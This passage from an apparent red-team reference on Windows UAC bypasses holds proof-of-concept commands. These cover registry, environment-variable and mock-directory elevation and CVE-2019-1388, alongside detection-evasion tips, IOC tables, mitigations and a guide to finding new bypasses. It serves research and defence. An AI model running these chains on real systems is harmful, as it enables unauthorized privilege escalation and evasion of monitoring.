| any elevated 32-bit EXE | wow64log.dll (WOW64 logger) |
#30 | fixed 24H2/25H2 |
Two loader-agnostic variants widen the surface:
- .NET profiler variant [UACME #39, Stefan Kanthak, UNFIXED]: set per-user environment
COR_ENABLE_PROFILING=1,COR_PROFILER={GUID},COR_PROFILER_PATH=C:\...\evil.dllunderHKCU\Environment, then launch any auto-elevated .NET process (e.g.mmc.exe) — the CLR loads the "profiler" DLL elevated ([18], [21]). - AppVerifier/IFEO variant [#9]: an IFEO
VerifierDllsvalue causes the attacker DLL to be loaded by elevated processes.
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium IL; plus a privileged write primitive unless the load path is user-writable (#39, #54 patterns) |
| OS/build | Per table; several entries remain UNFIXED per UACME v3.7.x (verify in lab) |
| Payload | Architecture-matched proxy DLL; KnownDlls names are not hijackable |
Proof of concept
# .NET profiler variant — fully per-user, no privileged copy needed ([18], [21])
reg add "HKCU\Environment" /v COR_ENABLE_PROFILING /t REG_SZ /d 1 /f
reg add "HKCU\Environment" /v COR_PROFILER /t REG_SZ /d "{11111111-1111-1111-1111-111111111111}" /f # any GUID; env-driven (illustrative)
reg add "HKCU\Environment" /v COR_PROFILER_PATH /t REG_SZ /d "C:\Users\%USERNAME%\evil.dll" /f
C:\Windows\System32\mmc.exe # auto-elevated .NET host -> CLR loads evil.dll at High IL
# cleanup: reg delete "HKCU\Environment" /v COR_ENABLE_PROFILING /f (and the other two values)
OpSec & detection
- Sysmon 7 (image load): Microsoft-signed elevated binaries loading the watchlist DLL names (section 5) from outside
System32/KnownDlls — the highest-fidelity signal for this family. - Sysmon 13:
HKCU\Environmentwrites ofCOR_PROFILER_PATH/COR_ENABLE_PROFILING(Splunk ".NET Profiler UAC bypass" ([34])) and IFEOVerifierDllsvalues. - Reduce noise: forward all exports faithfully so the host behaves normally; prefer still-UNFIXED targets (
mmc.exe/atl.dll,pkgmgr.exe/DismCore.dll) whose load events have legitimate look-alikes — but expect DLL-plant telemetry regardless.
Mitigations
- WDAC/AppLocker DLL rules for elevated Microsoft binaries;
PreferSystem32Images; audit IFEO keys andHKCU\Environment; keep builds current — this family dies by hardening wave ([44]).
3.6 Mock trusted directories (path-normalization desync)
MITRE: T1548.002 + T1036 · Since: David Wells / Tenable, 2020, [UACME #52] · Affects: Windows 7 7600 → FIXED in Win11 24H2/25H2 via AppInfo changes ([1], [14])
A trust-check desync: AppInfo validates the trusted-directory requirement against the GetLongPathNameW-normalized path with RtlPrefixUnicodeString, but creates the process with the original path. A directory named C:\Windows \System32 (trailing space) normalizes to C:\Windows\System32 for the trust check while the loader uses the real, attacker-controlled directory — defeating the "secure location" pillar of auto-elevation ([14]).
Mechanics
- Create the mock directory — impossible from Explorer, trivial with the
\\?\prefix:md "\\?\C:\Windows \System32". - Copy an auto-elevate EXE inside (Wells used
easinvoker.exe, the Exchange ActiveSync Invoker) plus its hijackable DLL (netutils.dll). - Launch
C:\Windows \System32\easinvoker.exe. The trust check sees the space-strippedC:\Windows\System32\...and auto-elevates; the process loads the attacker DLL at High IL. - In the wild: DBatLoader/ModiLoader dropping Remcos RAT/Formbook (SentinelOne/Zscaler 2023, adding
C:\Usersto Defender exclusions) ([28], [30]); Fickle Stealer with a fakeWmiMgmt.mscplus MMCen-USlocalization lookup ([29]).
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium IL with rights to create C:\Windows \ (admin user — you have it); an auto-elevate binary + hijackable DLL pair |
| OS/build | Win7 7600 → pre-24H2; FIXED in Win11 24H2/25H2 ([1]) |
| Config | Default UAC policy |
Proof of concept
# Mock trusted directory chain ([14])
md "\\?\C:\Windows \System32"
copy C:\Windows\System32\easinvoker.exe "C:\Windows \System32\"
copy C:\Users\%USERNAME%\netutils.dll "C:\Windows \System32\" # proxy DLL (illustrative)
& "C:\Windows \System32\easinvoker.exe" # auto-elevates; loads netutils.dll High IL
OpSec & detection
- Sysmon 1/11: any execution or file-create path containing trailing spaces — especially
\Windows \— is a near-perfect signal (SentinelOne recommendation ([28]); Sigma "TrustedPath UAC Bypass Pattern" ([37])). There is no meaningful noise reduction: the trailing-space path is the signature, so treat this family as burned on monitored estates.
Mitigations
- Patch to Win11 24H2/25H2+ (AppInfo normalization fixed); alert on
\\?\-prefixed directory creation under drive roots ([1], [28]).
3.7 SilentCleanup and scheduled-task environment abuse
MITRE: T1548.002 + T1053.005 · Since: enigma0x3, Jul 22 2016; generalized by James Forshaw, May 2017 · Affects: [UACME #34] listed UNFIXED and AlwaysNotify-compatible — but field reports show the SilentCleanup-specific vector mitigated on later Win10 builds; version-dependent (verify in lab) ([1], [9], [13])
The scheduled-task branch of environment abuse. The SilentCleanup Disk Cleanup task runs "with highest privileges" and its action contains %windir%\system32\cleanmgr.exe. Because scheduled-task actions expand environment variables in the user context, a per-user windir value under HKCU\Environment overrides the machine variable — and the task expands your string at High IL ([9], [13]).
Mechanics
reg add hkcu\Environment /v windir /d "cmd.exe /c <payload> & rem "— the trailing& remcomments out the remainder of the expanded action line.schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I.- Task Scheduler expands
%windir%\system32\cleanmgr.exe ...in the user context at High IL → the payload runs elevated; the legitimatecleanmgrpath is commented away. - Restore the
windirvalue for cleanup.
Related environment/scheduled-task vectors from the catalog: the DiskCleanup dismhost race — cleanmgr copies dismhost.exe + DLLs to %TEMP%\{GUID} and you race to overwrite LogProvider.dll before the High-IL process loads it (#26, Win10 10240 → fixed RS2 15031); volatile per-user SystemDirectory overrides (#44, bytecode77, fixed RS3 16299); clipup.exe + IEditionUpgradeManager %windir% (#58, fixed 24H2); the RequestTrace scheduled task (#80); and QuickAssist.exe EmbeddedBrowserWebView.dll + env/UIPI combo (#81, Win10 19041+, AlwaysNotify-compatible, UNFIXED) ([1]).
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium IL; HKCU\Environment writable (always) |
| OS/build | Version-dependent — test against the exact target build (verify in lab) |
| Config | Task present (default); AlwaysNotify-compatible per UACME (#34) |
Proof of concept
# SilentCleanup windir hijack ([9], [13])
reg add hkcu\Environment /v windir /d "cmd.exe /c C:\path\payload.exe & rem " /f
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
# cleanup
reg delete hkcu\Environment /v windir /f
OpSec & detection
- Sysmon 13:
HKCU\Environmentwrites ofwindir(a value that essentially never legitimately exists per-user) — pair withCOR_PROFILER_PATHhunting ([34]). - Sysmon 1:
schtasks.exe /RunforSilentCleanupfollowed by a High-ILcmd.exe/payload spawned under Task Scheduler rather thancleanmgr.exe. Reduce noise with single-shot execution and immediate value deletion; name the payload like a maintenance binary.
Mitigations
- Alert on per-user
windir; WDAC child-process rules for Task Scheduler–spawned interactive tools; note Always notify does not reliably kill this family ([4]).
3.8 Token manipulation and AppInfo protocol abuse
MITRE: T1548.002 + T1134.001/.002 · Since: James Forshaw / CIA-derived / hakril / antonioCoco & splintercod3 · Affects: per variant below ([1])
Instead of tricking an auto-elevated binary, these variants attack the token model or the AppInfo protocol itself. Four documented variants:
- Token modification [UACME #35, "CIA & James Forshaw"; Win7 → FIXED RS5 17686 by an added
SeTokenCanImpersonatecheck inntoskrnl]: duplicate the filtered token and flip it back to full viaNtSetInformationToken-style manipulation, then spawn the elevated process. AlwaysNotify-compatible while it lived. - SSPI datagram contexts [#78, antonioCoco/splintercod3; requires a non-blank password; partially patched ~Win10 19041/2024]: coerce a local elevated context through SSPI datagram RPC — the technique class KONNI used to bypass UAC even at "Always Notify" ([20]).
RAiLaunchAdminProcess+ DebugObject [#59, James Forshaw; Win7 7600+, UNFIXED]: abuse AppInfo's ALPC launch path (interface{201ef99a-7fa0-444c-9399-19ba84f12a1a}, see ([7])) with a debug object to inherit an elevated process ([1]).- APPINFO command-line spoofing [#38, Clement Rouault "hakril"; Win7+, UNFIXED]: craft a process whose path spoof satisfies AppInfo's whitelist parsing (
mmc.exe+ trailing arguments), so AppInfo itself launches attacker content elevated ([24]).
Mechanics
The shared skeleton: obtain or forge what AppInfo/NT would only grant after consent — a full token (variant 1), an elevated logon context (variant 2), or AppInfo's own launch (variants 3–4) — then start the payload with it. No shell association, no DLL, no file copy; the abuse lives in token and protocol semantics.
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Medium IL protected admin; SSPI variant also needs the account's non-blank password |
| OS/build | #35 fixed RS5 17686; #78 partially patched ~19041/2024; #59/#38 UNFIXED per UACME (verify in lab) |
| Tooling | Custom code; reference implementations in UACME source ([1]) |
Proof of concept
# (illustrative) Lab validation only: inspect your own elevation state before/after any variant
whoami /groups | findstr /i "S-1-16" # 8192 = Medium (filtered), 12288 = High, 16384 = System
For the weaponized implementations, read UACME methods 35, 38, 59, and 78 in the Akagi source ([1]) — reproducing them faithfully is a reverse-engineering exercise, not a copy-paste exercise.
OpSec & detection
- Sysmon 10 (process access): handle/token duplication into known UAC-bypass binaries (
fodhelper,eventvwr,computerdefaults,sdclt,slui,mmc,wsreset,pkgmgr) — Splunk "Windows Handle Duplication in Known UAC-Bypass Binaries" ([35]). - API telemetry:
NtSetInformationToken, SSPI datagram RPC patterns, and elevation events with noconsent.exeon the wire. These variants produce almost no registry/file artifacts — their footprint is API-call-shaped, so they survive registry-centric detections but light up ETW/API monitors.
Mitigations
- Patch currency (RS5+ killed #35; 2024 hardening narrowed #78); Credential Guard-adjacent hygiene (no blank passwords); ETW-based API monitoring on admin workstations ([4], [44]).
3.9 CVE-2019-1388 (the certificate dialog that got a CVE)
MITRE: T1548.002 · Since: patched Nov 12, 2019; CISA KEV since Apr 2023; CWE-269 · Affects: unpatched Win7 SP1 → Win10 1709, Server 2008R2 → 2019 ([25], [27])
The exception that proves the "not a boundary" rule: the one UAC-dialog UI flaw Microsoft serviced. consent.exe runs as SYSTEM, and its "Show information about the publisher's certificate" dialog rendered a live "Issued by" hyperlink — a UI object in a SYSTEM process that an unelevated user could click ([25]).
Mechanics
- Launch any unsigned application with
runasto trigger the consent dialog. - "Show more details" → "Show information about the publisher's certificate".
- Click the issuer URL hyperlink → a browser opens in the elevated (SYSTEM) context.
- File → Save As → in the dialog address bar type
C:\Windows\System32\cmd.exe→ SYSTEM shell. - Public PoC: nobodyatall648's write-up ([26]).
Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Interactive session; an unsigned binary to launch |
| OS/build | Unpatched Win7 SP1 → Win10 1709 / Server 2008R2 → 2019 (patched Nov 12, 2019) |
| Config | Consent dialog enabled (any policy that prompts) |
Proof of concept
1. Launch any unsigned app elevated (right-click > Run as administrator) -> consent.exe dialog (illustrative)
2. "Show more details" > "Show information about the publisher's certificate"
3. Click the "Issued by" hyperlink -> browser opens as SYSTEM
4. File > Save As > address bar: C:\Windows\System32\cmd.exe -> SYSTEM shell ([26])
OpSec & detection
- Lineage:
consent.exespawning a browser, which spawnscmd.exe, is anomalous and trivially detectable — a legacy-estate canary. No noise reduction is possible: the chain is interactive, GUI-bound, and only relevant on unpatched hosts.
Mitigations
- Apply the November 2019 patches; inventory unpatched 2008R2/Win7 estates (KEV-listed, actively exploited) ([25], [27]).
4. Tooling: UACME, Akagi, and validation frameworks
UACME (hfiref0x) is the canonical reference implementation and the de-facto method registry for this entire chapter: 82 numbered methods, each implemented as a self-contained ucm*Method module in the Akagi source, with the auto-approved elevated-interface definitions collected in comsup.h ([1]).
How to read the method list ([1]):
- Numbering is the common language.
[UACME #33]means "fodhelperms-settingshijack" everywhere — in this chapter, in detection content, in threat reports. When a report says "CMSTPLUA," practitioners translate to #41. - Each entry records the vector, the author/source, the affected builds, and the "fixed in" build when one exists. Treat "fixed in" as the first build where Microsoft or silent hardening broke the method; methods without it are listed unfixed.
- Families cluster by number: #1–#30 are dominated by DLL hijacks armed via
IFileOperation; #33–#62 by registry/COM-interface vectors; #63+ by later elevated-interface discoveries (#82,UICleanmgrAdminHelper/UICleanmgrHelperviaSystemSettingsAdminFlows.exe, Win10 19041+, is the newest as of v3.7.0). - Akagi runs a method by number for lab validation (e.g.
Akagi64.exe 33), which makes UACME the fastest way to test "does method N survive on build X?" — the exact question that matters pre-engagement.
Warning: "Unfixed" is version-dependent. UACME marks items unfixed as of v3.7.x (2026), but independent testers report some listed-unfixed methods (fodhelper, SilentCleanup, mock dirs pre-24H2) behaving inconsistently across 22H2–25H2 due to silent hardening and AV/EDR interference. Treat "unfixed" as "UACME-listed unfixed," not a guarantee on a specific patched build — always validate with Akagi on a VM snapshotted to the target's exact build before relying on a method.
Validation and adversary-emulation tooling:
| Tool | Role |
|---|---|
| UACME / Akagi ([1]) | Reference implementations of all 82 methods; red-team ranges and build-compat testing |
| Atomic Red Team T1548.002 ([31]) | Reproducible per-technique tests: fodhelper, eventvwr, sdclt, WSReset (#23), SilentCleanup, CMSTPLUA, .NET profiler — built for detection validation |
Metasploit bypassuac_eventvwr ([38]) |
Legacy eventvwr module (M. Nelson, M. Graeber, OJ Reeves) — useful for legacy estates |
| Sigma rules ([37]) | Off-the-shelf registry_set / proc_creation coverage per family, for baseline detections |
5. Detection and hunting
Telemetry sources (MITRE data sources: Process Creation, Windows Registry Key Creation/Modification, Module Load, Process Metadata — integrity level, OS API Execution such as CoGetObject/NtSetInformationToken):
| Source | What it catches here |
|---|---|
Sysmon EID 1 (process create, IntegrityLevel + ParentImage) |
High-IL children of auto-elevate binaries; silent elevation lineage |
| Sysmon EID 7 (image load) | Watchlist DLLs loaded from non-System32 paths by elevated MS-signed binaries |
| Sysmon EID 10 (process access) | Handle/token duplication into known bypass binaries ([35]) |
| Sysmon EID 11 (file create) | System32 writes by Medium-IL processes (IFileOperation); mock dirs with trailing spaces; %TEMP%\{GUID}\dismhost staging |
| Sysmon EID 12/13 (registry key/value) | Every IOC key below ([32], [33], [34], [37]) |
Security 4688 (+command line), 4657/4663; ETW Microsoft-Windows-Kernel-Process |
Native-audit equivalents where Sysmon is absent; token/integrity transitions |
Registry IOC table (writes = high-fidelity signal):
| Key / value | Technique |
|---|---|
HKCU\Software\Classes\ms-settings\Shell\Open\command ((Default), DelegateExecute) |
fodhelper / computerdefaults / slui-family |
HKCU\Software\Classes\mscfile\shell\open\command |
eventvwr |
HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe |
sdclt (legacy) |
HKCU\Software\Classes\Folder\shell\open\command |
sdclt v2/v3 |
HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command |
WSReset |
HKCU\Software\Classes\CLSID\{...} (InprocServer32/handler redirects) |
COM handler hijack |
HKCU\Environment (windir, COR_ENABLE_PROFILING, COR_PROFILER, COR_PROFILER_PATH) |
SilentCleanup / .NET profiler |
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System (EnableLUA, ConsentPromptBehaviorAdmin→0, PromptOnSecureDesktop→0) |
UAC weakening (needs existing admin — post-exploitation signal) |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe> (VerifierDlls) |
AppVerifier/IFEO variant |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList |
(reference/defense) tampering with the silent-elevation allow-list |
CLSID/IID watchlist: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} (CMSTPLUA); IID {6EDD6D74-C007-4E75-B76A-E5740995E24C} (ICMLuaUtil); {3AD05575-8857-4850-9277-11B85BDB8E09} (FileOperation); {A6BFEA43-501F-456F-A845-983D3AD7B8F0} (ElevatedFactoryServer); IID {804bd226-af47-4d71-b492-443a57610b08} (IElevatedFactoryServer); {0f87369f-a4e5-4cfc-bd3e-73e6154572dd} (TaskScheduler); and the string Elevation:Administrator!new: — often stored reversed or XORed in malware.
Auto-elevate binaries commonly abused: fodhelper, computerdefaults, eventvwr, sdclt, wsreset, slui, changepk, mmc, osk, msconfig, colorcpl/dccw, sysprep, cliconfg, migwiz, mcx2prov, winsat, pkgmgr, msdt, sdiagnhost, iscsicpl, easinvoker, credwiz, inetmgr, BitlockerWizardElev, TpmInit, clipup, taskhostw, QuickAssist, SystemSettingsAdminFlows, CompMgmtLauncher (legacy), wusa, consent, rstrui, recdisc, ieinstal.
DLL names to watch outside System32/KnownDlls: cryptbase, cryptsp, wdscore, ntwdblib, dbgcore, unbcl, actionqueue, unattend, shcore, comctl32 (DotLocal), elsext, wbemcomn, atl, mscoree, slc, netutils, dismcore, gdiplus, powprof, devobj, wow64log, duser, osksupport, pcadm, PerformanceTraceHandler, EmbeddedBrowserWebView, BluetoothDiagnosticUtil, iscsiexe, srrstr, LogProvider.dll (in %TEMP%\{guid}).
High-fidelity behavioral patterns:
- High-integrity child process (
cmd/powershell/payload in user paths) whose parent is a known auto-elevate binary (fodhelper,computerdefaults,eventvwr→mmc,sdclt,wsreset, ...) — near-zero FP ([32], [36]). - Registry write to a watched association key (or emptied
DelegateExecute) followed within seconds by the matching System32 binary — the classic automated chain ([33], [37]). HKCU\Environmentwrites ofwindir/COR_PROFILER_PATHplusschtasks /Run /TN ...SilentCleanup([34]).- Process execution whose path contains trailing spaces (
C:\Windows \System32\...) — mock trusted directory ([28], [37]). - Image loads of the watchlist DLLs from non-System32 locations by elevated Microsoft-signed processes.
- Elevation events with no consent.exe on the wire (silent elevation), plus command lines/strings containing
Elevation:Administrator!new:(hunt reversed/XORed forms too).
6. Mitigations and hardening
Ordered by impact ([1], [4], [44]):
- Standard-user accounts — the #1 control, per UACME itself. No admin token, no bypass possible. Pair with Privileged Access Management (M1026); this single decision retires the entire chapter.
- UAC slider to Always notify (
ConsentPromptBehaviorAdmin=2,PromptOnSecureDesktop=1): kills most auto-elevate bypasses — but not all: SilentCleanup env (#34), token modification (#35), the DiskCleanup race (#26), SSPI (#78), PCA (#69), RequestTrace (#80), and QuickAssist (#81) are AlwaysNotify-compatible per UACME. Defense-in-depth remains mandatory. - Lock the policy knobs:
ConsentPromptBehaviorUser=0(auto-deny for standard users); keepEnableLUA=1; setFilterAdministratorToken=1for the built-in Administrator; keepPromptOnSecureDesktop=1. - Application control: WDAC/AppLocker rules blocking child processes of auto-elevate binaries and DLL loads from user-writable paths; the
PreferSystem32Imagesmitigation; attack-surface monitoring of every §5 registry key. - Patch currency: many methods died via OS hardening — RS1–RS5 shell updates, the 19H1 COM-handler fix, and Win11 24H2/25H2 (which killed mock dirs, the consent DotLocal,
wow64log,dccw, .NET deserialization,wsreset,IEditionUpgradeManager, and taskhostw PCA). Current builds materially shrink the surface. - Assume breach: detect (§5) rather than prevent; monitor
LocalAccountTokenFilterPolicy/EnableLUAtampering — both require prior admin and are therefore post-exploitation signals ([4], [44]).
Research Lab: Finding New UAC Bypasses
Hunting hypothesis
Three classes of new bugs remain in this category:
- Undocumented methods on already-approved COM classes.
COMAutoApprovalListcontains more classes than have been publicly weaponized, and each is one vtable away from aShellExec-grade primitive — the newest UACME method (#82,UICleanmgrAdminHelper/UICleanmgrHelperviaSystemSettingsAdminFlows.exe, v3.7.0) was found exactly this way ([1], [39]). - New auto-elevated binaries with poisonable inputs. Every Windows feature update ships new Microsoft-signed System32 EXEs; each new
autoElevatemanifest, each newHKCU\Software\Classesread, and each new unqualified non-KnownDlls import is a candidate (fodhelper itself was a Windows 10 addition ([12])). - New expansion/normalization desyncs. SilentCleanup (environment expansion ([13])) and mock directories (path normalization ([14])) are one bug class: the trust checker and the executor disagree about a string. Scheduled-task actions, SxS redirection, WOW64 paths, and package-relative paths remain under-audited for the same desync.
Enumeration
Build the target list before testing anything.
# 1. COM classes approved for silent elevation (the master list)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList"
# 2. Classes registered for elevation via Elevation\Enabled = 1 (illustrative sketch)
Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" -ErrorAction SilentlyContinue | Where-Object {
(Get-ItemProperty "$($_.PSPath)\Elevation" -ErrorAction SilentlyContinue).Enabled -eq 1
} | Select-Object -ExpandProperty PSChildName
# 3. Auto-elevate manifests in System32 (manifest XML is embedded in the binary) (illustrative)
findstr /m /c:"autoElevate" C:\Windows\System32\*.exe
# 4. High-privilege scheduled tasks whose action expands an environment variable (SilentCleanup pattern)
schtasks /query /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /xml & schtasks /query /xml | findstr /i "HighestAvailable"
In OleViewDotNet (run as administrator): cross-reference the COMAutoApprovalList CLSIDs against their registrations, dump each class's interfaces and methods from its type library or proxy stub, and rank methods by argument types — BSTR command/path parameters first. The ICMLuaUtil pattern (placeholder vtable slots, then ShellExec) is what you are hunting ([22]).
Triage heuristics
A candidate is promising if it checks most of these boxes:
- Auto-approved: on
COMAutoApprovalList, orautoElevate="true"+ Microsoft-signed + secure directory (the §1 conditions). - Reachable from Medium IL at default policy — activation/launch produces no
consent.exein a default-slider VM. - Exposes an attacker-controlled surface:
BSTRcommand/path method parameters, unqualified non-KnownDlls imports,HKCU\Software\Classesreads, or%var%inside a highest-privileges task action. - Fileless or registry-only preferred — no writes into protected paths means a longer shelf life.
- Not already among UACME's 82 methods ([1]) — check first; novelty is the contribution.
- Survives Always notify — the premium property; per UACME only #26, #34, #35, #69, #78, #80, #81 have it.
Analysis workflow
Static checklist: signature and manifest (autoElevate, uiAccess, requestedExecutionLevel) → import table versus KnownDlls → strings for HKCU\Software\Classes, DelegateExecute, Elevation:Administrator!new:, %windir%-style expansions → vtable/type-library dump for approved COM classes → AppID launch/access security descriptors for surrogate-hosted classes (the ElevatedFactoryServer lesson ([19])).
Dynamic: snapshot a default-policy VM with Sysmon; run ProcMon with filters:
Process Name is <target.exe>+Operation is RegOpenKey+Path contains HKCU\Software\ClassesorHKCU\Environment— association/env reads by an about-to-be-elevated binary.Operation is CreateFile/ image loads +Path ends with <watchlist DLL>+Result is NAME NOT FOUNDin System32 — search-order hijack candidates.- Then loop candidate CLSIDs through the elevation moniker from a Medium-IL harness, logging HRESULT, whether
consent.exeappeared, and whether a High-IL child or side effect resulted (illustrative sketch):
// (illustrative) elevated-class probing harness — run at Medium IL on a default-policy VM
foreach (var clsid in candidateClsids)
CoGetObject($"Elevation:Administrator!new:{clsid}", bindOpts3 /* CLSCTX_LOCAL_SERVER */, ...);
// log per candidate: HRESULT | consent.exe observed? | new High-IL process? (Sysmon 1 IntegrityLevel)
Fuzzing/mutation ideas
Typed mutation beats blind bit-flipping; the interesting space is the trust inputs:
- Verb-shape mutation across every ProgID/protocol an elevated binary resolves:
(Default)versusDelegateExecutepermutations, ProgID versus protocol versus AppID keys (the WSResetAppX82a6...pattern),HKCUversus merged-view edge cases. - Typed argument mutation on elevated interfaces: for
ShellExec-shaped methods — NULL/emptylpDirectory, UNClpFile, very long strings; for copy-shaped methods — junction/symlink sources, trailing-space/dot destinations (mock-dir DNA), SxSDotLocalpayloads. - Environment mutation: every
%var%inside any highest-privileges task action is a SilentCleanup candidate; mutateHKCU\Environmentsystematically (windir,SystemDirectory(#44),COR_ENABLE_PROFILING/COR_PROFILER/COR_PROFILER_PATH). - Path-normalization desyncs: trailing space/dot,
\\?\prefixes, NTFS junctions (thedccw.exe#36/#37 pattern) — anywhere a checker and a creator might normalize differently. - Vtable probing of approved classes: published interfaces may be incomplete (
CallCustomActionDllwas found by reversing ([22])); call vtable slots with benign arguments on a snapshot VM and watch for elevated side effects.
From lead to primitive
- Prove silent elevation: at Medium IL on a default-policy VM, success means the side effect happens and
consent.exenever starts (Sysmon 1). - Prove the integrity jump: the child/side effect runs at High (
S-1-16-12288) or System (S-1-16-16384) — capture withwhoami /groupsor Process Explorer. - Minimize the trigger: fewest artifacts; registry-only beats file-backed, file-backed beats race-dependent.
- Build the matrix: builds × slider positions × AV/EDR; record the exact fixed-in build if one exists — that is citable data in UACME README format.
- Confirm novelty against UACME ([1]) and Atomic Red Team ([31]); the publication bar is a new CLSID/key/binary + a reproducible chain + a telemetry map (lineage, events, IOCs).
- Ship the detection with the bypass — a Sigma rule ([37]) and Sysmon config alongside the write-up is what separates research from malware documentation.
Further reading
- swapcontext, UAC bypasses from COMAutoApprovalList — enumerating and weaponizing the approved-class list ([39])
- James Forshaw, Calling Local Windows RPC Servers — AppInfo's RPC interface and
RAiLaunchAdminProcess([7]) - hfiref0x, UACME — the 82-method corpus; read
comsup.hand theucm*Methodmodules ([1]) - David Wells / Tenable, UAC Bypass by Mocking Trusted Directories — the normalization-desync blueprint ([14])
- zcgonvh, Advanced Windows Task Scheduler Playbook Part 2 — from COM to UAC bypass to SYSTEM ([19])
- James Forshaw, Reading Your Way Around UAC — deep UAC internals series ([40])
References
[1] UACME — Defeating Windows User Account Control — hfiref0x (2026, v3.7.x) — https://github.com/hfiref0x/UACME [2] MITRE ATT&CK T1548.002 — Bypass User Account Control — MITRE — https://attack.mitre.org/techniques/T1548/002/ [3] How User Account Control works — Microsoft Learn — https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/how-it-works [4] User Account Control settings and configuration — Microsoft Learn — https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/settings-and-configuration [5] The COM Elevation Moniker — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker [6] Microsoft Security Servicing Criteria for Windows — Microsoft/MSRC — https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria [7] Calling Local Windows RPC Servers — James Forshaw, Google Project Zero (2019) — https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html [8] "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ [9] Bypassing UAC on Windows 10 using Disk Cleanup — enigma0x3 (2016) — https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/ [10] Bypassing UAC using App Paths — enigma0x3 (2017) — https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ [11] "Fileless" UAC Bypass using sdclt.exe — enigma0x3 (2017) — https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ [12] First entry: Welcome and fileless UAC bypass (fodhelper) — winscripting.blog (2017) — https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/ [13] Exploiting Environment Variables in Scheduled Tasks for UAC Bypass — James Forshaw (2017) — https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html [14] UAC Bypass by Mocking Trusted Directories — David Wells, Tenable TechBlog (2020) — https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e [15] Fileless UAC Bypass in Windows Store Binary (WSReset) — Hashim Jawad, ActiveCyber (2019) — https://www.activecyber.us/1/post/2019/03/windows-uac-bypass.html [16] Yet another sdclt UAC bypass — Emeric Nasi, sevagas — http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass [17] MSDT DLL Hijack UAC bypass — Emeric Nasi, sevagas — https://blog.sevagas.com/?MSDT-DLL-Hijack-UAC-bypass [18] UAC bypass via elevated .NET applications — offsec.provadys — https://offsec.provadys.com/UAC-bypass-dotnet.html [19] Advanced Windows Task Scheduler Playbook Part 2 (IElevatedFactoryServer) — zcgonvh — http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html [20] Bypassing UAC with SSPI Datagram Contexts — antonioCoco, splintercod3 — https://splintercod3.blogspot.com/p/bypassing-uac-with-sspi-datagram.html [21] Mitigate some Exploits for Windows UAC (incl. MSRC case 64957 quote) — Stefan Kanthak — https://skanthak.hier-im-netz.de/uacamole.html [22] Reversing ICMLuaUtil: ShellExec and CallCustomActionDll — codedintrusion — https://codedintrusion.com/posts/reversing-icmluautil/ [23] Creative UAC Bypass Methods for the Modern Era — g3tsyst3m — https://g3tsyst3m.github.io/privilege%20escalation/Creative-UAC-Bypass-Methods-for-the-Modern-Era/ [24] UAC Bypass or story about three escalations (hakril APPINFO spoof) — Positive Research, Habr — https://habrahabr.ru/company/pm/blog/328008/ [25] NVD — CVE-2019-1388 Detail — NIST — https://nvd.nist.gov/vuln/detail/CVE-2019-1388 [26] CVE-2019-1388 — Abuse UAC Windows Certificate Dialog (PoC) — nobodyatall648 — https://github.com/nobodyatall648/CVE-2019-1388 [27] CISA Known Exploited Vulnerabilities Catalog — CISA — https://www.cisa.gov/known-exploited-vulnerabilities-catalog [28] DBatLoader and Remcos RAT Sweep Eastern Europe — SentinelOne — https://www.sentinelone.com/blog/dbatloader-and-remcos-rat-sweep-eastern-europe/ [29] Fickle Stealer Distributed via Multiple Attack Chain — Fortinet FortiGuard Labs — https://www.fortinet.com/blog/threat-research/fickle-stealer-distributed-via-multiple-attack-chain [30] Old Windows 'Mock Folders' UAC bypass used to drop malware — BleepingComputer (2023) — https://www.bleepingcomputer.com/news/security/old-windows-mock-folders-uac-bypass-used-to-drop-malware/ [31] Atomic Red Team T1548.002 tests — Red Canary — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md [32] Detection: FodHelper UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/909f8fd8-7ac8-11eb-a1f3-acde48001122/ [33] Detection: WSReset UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/8b5901bc-da63-11eb-be43-acde48001122/ [34] Detection: .NET Profiler UAC bypass — Splunk Threat Research — https://research.splunk.com/endpoint/0252ca80-e30d-11eb-8aa3-acde48001122/ [35] Windows Handle Duplication in Known UAC-Bypass Binaries — Splunk Threat Research — https://research.splunk.com/endpoint/d7369bf5-1315-4138-b927-2dd8bb8c1da7/ [36] Windows UAC Bypass Suspicious Child Process — Splunk Threat Research — 